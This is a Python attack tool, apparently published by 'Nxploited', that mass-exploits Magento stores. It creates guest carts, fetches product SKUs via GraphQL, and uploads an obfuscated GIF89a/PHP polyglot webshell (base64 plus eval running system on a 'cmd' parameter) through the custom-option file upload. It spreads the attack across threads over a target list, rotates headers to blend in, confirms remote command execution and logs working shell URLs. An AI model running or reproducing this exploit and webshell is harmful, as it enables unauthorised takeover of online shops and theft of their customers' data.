#!/usr/bin/env python3
# Nxploited - Magento File Upload Tool (FINAL FIXED + RANDOM FILENAME + DYNAMIC PATH)
# Author: Nxploited (Khaled ALenazi)
# GitHub: https://github.com/Nxploited

import os
import threading
import requests
from urllib.parse import urlparse, urljoin
import random
from datetime import datetime
import base64
import string

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

from pyfiglet import Figlet
from rich.align import Align
from rich.box import HEAVY
from rich.console import Console, Group
from rich.panel import Panel
from rich.rule import Rule
from rich.text import Text

try:
    from colorama import init as colorama_init, Fore, Style
    colorama_init(autoreset=True)
except ImportError:
    class Dummy:
        RESET_ALL = ""
    Fore = Style = Dummy()
    Fore.GREEN = Fore.CYAN = Fore.YELLOW = Fore.RED = Fore.MAGENTA = Fore.WHITE = ""
    Style = Dummy()

console = Console()

DEFAULT_TIMEOUT = 15
SHELLS_SUCCESS_FILE = "Nx_shell.txt"

write_lock = threading.Lock()
print_lock = threading.Lock()

USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0",
    "Mozilla/5.0 (Linux; Android 13; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile Safari/537.36",
]

REFERERS = [
    "https://www.google.com/",
    "https://www.bing.com/",
    "https://duckduckgo.com/",
    "https://www.yahoo.com/",
    "https://www.facebook.com/",
]

ACCEPT_LANGS = [
    "en-US,en;q=0.9",
    "en-US,en;q=0.8,ar;q=0.6",
    "en-GB,en;q=0.9",
]

ACCEPT_ENCODINGS = [
    "gzip, deflate, br",
    "gzip, deflate",
]

# =========================
#   OBFUSCATED GIF89a POLYGLOT PHP WEBSHELL (base64 + eval)
# =========================

def build_polyglot_webshell(signature: str) -> str:
    inner_php = f'''if (isset($_GET['cmd'])) {{
    header('Content-Type: text/plain');
    system($_GET['cmd']);
    exit;
}}
echo "Comment:{signature}\\n";
echo "Nxploited PolyShell ready!\\n";
'''

    encoded = base64.b64encode(inner_php.encode("utf-8")).decode("ascii")

    outer_php = f'''<?php
@eval(base64_decode("{encoded}"));
?>'''

    polyglot = b"GIF89a" + outer_php.encode("utf-8")
    return base64.b64encode(polyglot).decode("ascii")


def styled_multiline(block: str) -> Text:
    lines = block.rstrip("\n").splitlines()
    out = Text()
    for i, line in enumerate(lines):
        out.append(line, style=f"bold {SHADES[i % len(SHADES)]}")
        if i != len(lines) - 1:
            out.append("\n")
    return out


def render_figlet(width: int) -> str:
    for font in ("big", "slant", "small"):
        art = Figlet(font=font, width=max(40, width - 10)).renderText("Nxploited").rstrip("\n")
        if max(len(line) for line in art.splitlines()) <= max(20, width - 8):
            return art
    return "NXPLOITED"


def render_banner(width: int) -> Text:
    full_width = max(len(line) for line in BANNER.splitlines())
    if width >= full_width + 8:
        return styled_multiline(BANNER)
    return styled_multiline(render_figlet(width))


def render_meta(width: int) -> Group:
    now_str = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

    if width >= 96:
        line1 = Text(justify="center")
        line1.append("Author: ", style="bold #8dff6a")
        line1.append("Nxploited (Khaled ALenazi)", style="bold white")
        line1.append("    ")
        line1.append(now_str, style="bold #d9ffcc")

        line2 = Text(justify="center")
        line2.append("GitHub: ", style="bold #8dff6a")
        line2.append("https://github.com/Nxploited", style="bold underline #c8ffb5")
        line2.append("    ")
        line2.append("Telegram: ", style="bold #8dff6a")
        line2.append("@KNxploited", style="bold #f2ffee")

        return Group(line1, line2)

    author = Text(justify="center")
    author.append("Author: ", style="bold #8dff6a")
    author.append("Nxploited (Khaled ALenazi)", style="bold white")

    date = Text(justify="center")
    date.append(now_str, style="bold #d9ffcc")

    github = Text(justify="center")
    github.append("GitHub: ", style="bold #8dff6a")
    github.append("https://github.com/Nxploited", style="bold underline #c8ffb5")

    telegram = Text(justify="center")
    telegram.append("Telegram: ", style="bold #8dff6a")
    telegram.append("@KNxploited", style="bold #f2ffee")

    return Group(author, date, github, telegram)


def build_ui() -> Panel:
    width = console.size.width
    banner = render_banner(width)
    subtitle = Text("Magento PolyShell", style="bold #39ff14", justify="center")
    glow = Rule(style="#0f6d14")
    content = Group(
        Align.center(banner),
        Text(""),
        subtitle,
        Text(""),
        glow,
        Text(""),
        render_meta(width),
    )
    return Panel(
        content,
        border_style="#39ff14",
        box=HEAVY,
        padding=(1, 2),
        expand=True,
        title="[bold #9cff7d]NXPLOITED[/]",
        subtitle="[bold #0f6d14]Magento File Upload[/]",
        style="on #020702",
    )


def show_banner():
    console.clear()
    console.print()
    console.print(build_ui())
    console.print()


def get_random_headers(extra=None):
    headers = {
        "User-Agent": random.choice(USER_AGENTS),
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Accept-Language": random.choice(ACCEPT_LANGS),
        "Accept-Encoding": random.choice(ACCEPT_ENCODINGS),
        "Cache-Control": "no-cache",
        "Pragma": "no-cache",
        "Connection": "close",
        "Referer": random.choice(REFERERS),
        "DNT": "1",
    }
    if extra:
        headers.update(extra)
    return headers


def live_print_ok(target, shell_url):
    with print_lock:
        print(f"{Fore.GREEN}[OK]   {target} -> {shell_url}{Style.RESET_ALL}")


def live_print_fail(target, reason):
    short = reason.split("\n", 1)[0]
    if len(short) > 80:
        short = short[:77] + "..."
    with print_lock:
        print(f"{Fore.RED}[FAIL] {target} -> {short}{Style.RESET_ALL}")


def append_line(path, text):
    with write_lock:
        with open(path, "a", encoding="utf-8") as f:
            f.write(text + "\n")


def parse_target_line(line):
    line = line.strip()
    if not line:
        return []

    parsed = urlparse(line)
    if parsed.scheme in ("http", "https"):
        return [f"{parsed.scheme}://{parsed.netloc}"]
    else:
        host = line.split("/")[0]
        return [f"http://{host}", f"https://{host}"]


def create_guest_cart(base_url):
    url = urljoin(base_url, "/rest/default/V1/guest-carts")
    try:
        resp = requests.post(
            url,
            headers=get_random_headers({"Content-Type": "application/json"}),
            timeout=DEFAULT_TIMEOUT,
            verify=False,
        )
        if resp.status_code == 200 and resp.text:
            return resp.text.strip().strip('"') or None, ""
        return None, f"guest-carts HTTP {resp.status_code}"
    except requests.exceptions.Timeout:
        return None, "guest-carts timeout"
    except requests.exceptions.RequestException:
        return None, "guest-carts error"


def get_skus_via_graphql(base_url, page_size=5):
    url = urljoin(base_url, "/graphql")
    payload = {
        "query": f'{{ products(search: "", pageSize: {page_size}) {{ items {{ sku }} }} }}'
    }

    try:
        resp = requests.post(
            url,
            headers=get_random_headers({"Content-Type": "application/json"}),
            json=payload,
            timeout=DEFAULT_TIMEOUT,
            verify=False,
        )
        if resp.status_code != 200:
            return [], f"graphql HTTP {resp.status_code}"

        data = resp.json()
        items = data.get("data", {}).get("products", {}).get("items", [])
        skus = [it.get("sku") for it in items if it.get("sku")]
        if not skus:
            return [], "graphql no skus"
        return skus, "ok"
    except requests.exceptions.Timeout:
        return [], "graphql timeout"
    except requests.exceptions.RequestException:
        return [], "graphql error"
    except Exception:
        return [], "graphql parse error"


def add_item_with_file(base_url, cart_id, sku, option_id, file_b64, filename):
    """رفع الملف مع اسم عشوائي نمرّره كما هو لـ Magento"""
    url = urljoin(base_url, f"/rest/default/V1/guest-carts/{cart_id}/items")

    payload = {
        "cartItem": {
            "qty": 1,
            "sku": sku,
            "quote_id": cart_id,
            "product_option": {
                "extension_attributes": {
                    "custom_options": [
                        {
                            "option_id": str(option_id),
                            "option_value": "file",
                            "extension_attributes": {
                                "file_info": {
                                    "base64_encoded_data": file_b64,
                                    "name": filename,
                                    "type": "image/gif",
                                }
                            },
                        }
                    ]
                }
            },
        }
    }

    try:
        resp = requests.post(
            url,
            headers=get_random_headers({"Content-Type": "application/json"}),
            json=payload,
            timeout=DEFAULT_TIMEOUT,
            verify=False,
        )
        if resp.status_code != 200:
            try:
                data = resp.json()
                msg = data.get("message", f"HTTP {resp.status_code}")
            except Exception:
                msg = f"HTTP {resp.status_code}"
            return False, f"add-item {msg}"

        try:
            data = resp.json()
            if isinstance(data, dict) and data.get("message"):
                return False, f"add-item {data.get('message')}"
        except Exception:
            pass

        return True, "ok"
    except requests.exceptions.Timeout:
        return False, "add-item timeout"
    except requests.exceptions.RequestException:
        return False, "add-item error"


def build_shell_path(filename: str) -> str:
    """
    منطق شبيه بـ Magento:
    - تنظيف البداية من النقاط.
    - أخذ أول حرفين (مع استبدال '.' بـ '_') كمجلدين.
    - المسار النهائي:
      /media/custom_options/quote/{c1}/{c2}/{filename}
    """
    clean_name = filename.lstrip('.')

    if len(clean_name) == 0:
        clean_name = "Nx1.php"
    elif len(clean_name) == 1:
        clean_name = clean_name + "x"

    c1, c2 = clean_name[0], clean_name[1]
    if c1 == '.':
        c1 = '_'
    if c2 == '.':
        c2 = '_'

    return f"/media/custom_options/quote/{c1}/{c2}/{filename}"


def verify_uploaded_file(base_url, signature, filename):
    """التحقق المحسّن مع اسم الملف العشوائي بناءً على أول حرفين كما يفعل Magento"""
    shell_path = build_shell_path(filename)
    shell_url = urljoin(base_url, shell_path)

    try:
        # التحقق الأول: وجود التوقيع
        resp = requests.get(
            shell_url,
            headers=get_random_headers(),
            timeout=DEFAULT_TIMEOUT,
            verify=False,
        )
        sig = signature.lower()
        if resp.status_code != 200 or sig not in resp.text.lower():
            return False, f"shell HTTP {resp.status_code} or no signature"

        # التحقق الثاني: تنفيذ PHP حقيقي
        test_url = shell_url + "?cmd=echo%20Nxploited_RCE_TEST"
        test_resp = requests.get(
            test_url,
            headers=get_random_headers(),
            timeout=DEFAULT_TIMEOUT,
            verify=False,
        )

        if test_resp.status_code == 200 and "Nxploited_RCE_TEST" in test_resp.text:
            append_line(SHELLS_SUCCESS_FILE, shell_url)
            return True, shell_url + " (RCE Confirmed)"
        else:
            return False, "shell 200 but NO RCE (raw text only)"

    except requests.exceptions.Timeout:
        return False, "shell timeout"
    except requests.exceptions.RequestException:
        return False, "shell error"


def _random_filename():
    """
    اسم ملف عشوائي بحيث:
    - أول حرفين عشوائيين (حروف/أرقام) => هما اللي يحددون المجلدين.
    - بعدهم '_' ثم أرقام عشوائية.
    مثال: aQ_83291.php -> /a/Q/aQ_83291.php
    """
    letters = string.ascii_letters + string.digits
    first_two = ''.join(random.choice(letters) for _ in range(2))
    numbers = random.randint(10000, 99999)
    return f"{first_two}_{numbers}.php"


def exploit_base_url(base_url, option_id, file_b64, signature):
    """
    في كل محاولة:
    - نولّد filename عشوائي جديد مثل aQ_83291.php
    - Magento (ومنه build_shell_path) يشتق المجلدين من أول حرفين: /a/Q/aQ_83291.php
    """
    random_filename = _random_filename()

    last_reason = "unknown error"

    cart_id, reason_gc = create_guest_cart(base_url)
    if not cart_id:
        last_reason = reason_gc or "guest-carts failed"
    else:
        skus, reason_skus = get_skus_via_graphql(base_url, page_size=5)
        if not skus:
            last_reason = reason_skus
        else:
            for sku in skus:
                ok, reason_add = add_item_with_file(base_url, cart_id, sku, option_id, file_b64, random_filename)
                if ok:
                    last_reason = f"add-item ok ({sku})"
                    break
                else:
                    last_reason = reason_add

    ok_shell, reason_shell = verify_uploaded_file(base_url, signature, random_filename)
    if ok_shell:
        return True, reason_shell
    else:
        return False, f"{last_reason} & {reason_shell}"


def exploit_target_line(raw_line, option_id, file_b64, signature):
    candidates = parse_target_line(raw_line)
    if not candidates:
        return False, raw_line, "invalid target line"

    last_reason = ""
    for base_url in candidates:
        success, reason = exploit_base_url(base_url, option_id, file_b64, signature)
        if success:
            return True, base_url, reason
        last_reason = reason

    return False, candidates[0], last_reason or "all protocols failed"


def worker_thread(thread_id, targets, option_id, file_b64, signature):
    for line in targets:
        success, base_url, msg = exploit_target_line(line, option_id, file_b64, signature)
        if success:
            live_print_ok(base_url, msg)
        else:
            live_print_fail(base_url, msg)


BANNER = r"""
███▄▄▄▄   ▀████    ▐████▀    ▄███████▄  ▄█        ▄██████▄   ▄█      ███        ▄████████ ████████▄
███▀▀▀██▄   ███▌   ████▀    ███    ███ ███       ███    ███ ███  ▀█████████▄   ███    ███ ███   ▀███
███   ███    ███  ▐███      ███    ███ ███       ███    ███ ███▌    ▀███▀▀██   ███    █▀  ███    ███
███   ███    ▀███▄███▀      ███    ███ ███       ███    ███ ███▌     ███   ▀  ▄███▄▄▄     ███    ███
███   ███    ████▀██▄     ▀█████████▀  ███       ███    ███ ███▌     ███     ▀▀███▀▀▀     ███    ███
███   ███   ▐███  ▀███      ███        ███       ███    ██��� ███      ███       ███    █▄  ███    ███
███   ███  ▄███     ███▄    ███        ███▌    ▄ ███    ███ ███      ███       ███    ███ ███   ▄███
 ▀█   █▀  ████       ███▄  ▄████▀      █████▄▄██  ▀██████▀  █▀      ▄████▀     ██████████ ████████▀
                                       ▀
"""

SHADES = [
    "#39ff14",
    "#33f012",
    "#2ce110",
    "#26d10f",
    "#1fc20d",
    "#19b30c",
    "#13a40a",
    "#0d9508",
]


def main():
    show_banner()

    targets_file = input("Enter targets list file [default: list.txt]: ").strip() or "list.txt"
    threads_input = input("Enter number of threads (speed) [default: 8]: ").strip()
    threads = int(threads_input) if threads_input.isdigit() and int(threads_input) > 0 else 8

    option_id_input = input("Enter file option_id (product custom option) [default: 12345]: ").strip()
    option_id = option_id_input if option_id_input else "12345"

    signature_input = input("Enter verification signature [default: Nxploited-Here]: ").strip()
    signature = signature_input if signature_input else "Nxploited-Here"

    DEFAULT_EMBEDDED_FILE_B64 = build_polyglot_webshell(signature)

    print("\nPayload content (base64-encoded).")
    print("WARNING: This value must be a valid base64 string.")
    print("Leave empty to use default obfuscated GIF89a PHP Webshell.")
    payload_b64_input = input("Enter base64 payload [default: Obfuscated GIF89a PHP Webshell]: ").strip()
    file_b64 = payload_b64_input if payload_b64_input else DEFAULT_EMBEDDED_FILE_B64

    if not os.path.isfile(targets_file):
        print(Fore.RED + f"[ERROR] Targets file not found: {targets_file}" + Style.RESET_ALL)
        return

    with open(targets_file, "r", encoding="utf-8") as f:
        raw_targets = [line.strip() for line in f if line.strip()]

    if not raw_targets:
        print(Fore.RED + "[ERROR] No targets found in the list." + Style.RESET_ALL)
        return

    print(Fore.CYAN + f"\nLoaded {len(raw_targets)} targets." + Style.RESET_ALL)
    print(Fore.CYAN + f"Using {threads} threads." + Style.RESET_ALL)
    print(Fore.CYAN + f"Using option_id: {option_id}" + Style.RESET_ALL)
    print(Fore.CYAN + "Path style: /media/custom_options/quote/{F1}/{F2}/{RAND}_{NNNNN}.php" + Style.RESET_ALL)
    print(Fore.CYAN + ("Using custom base64 payload." if payload_b64_input else "Using default OBFUSCATED GIF89a PHP Webshell (base64 + eval)") + Style.RESET_ALL)
    print(Fore.CYAN + f"Using verification signature: {signature}" + Style.RESET_ALL)
    print()

    chunk_size = max(1, len(raw_targets) // threads + (1 if len(raw_targets) % threads else 0))
    threads_list = []

    for i in range(threads):
        start = i * chunk_size
        end = start + chunk_size
        chunk = raw_targets[start:end]
        if chunk:
            t = threading.Thread(
                target=worker_thread,
                args=(i + 1, chunk, option_id, file_b64, signature),
            )
            t.start()
            threads_list.append(t)

    for t in threads_list:
        t.join()

    print()
    print(Fore.GREEN + "Completed. Check 'Nx_shell.txt' for successful uploads." + Style.RESET_ALL)
    print(Fore.GREEN + "RCE is now VERIFIED (PHP execution confirmed)." + Style.RESET_ALL)
    print(Fore.GREEN + "Each success entry already contains the exact random path + filename." + Style.RESET_ALL)


if __name__ == "__main__":
    main()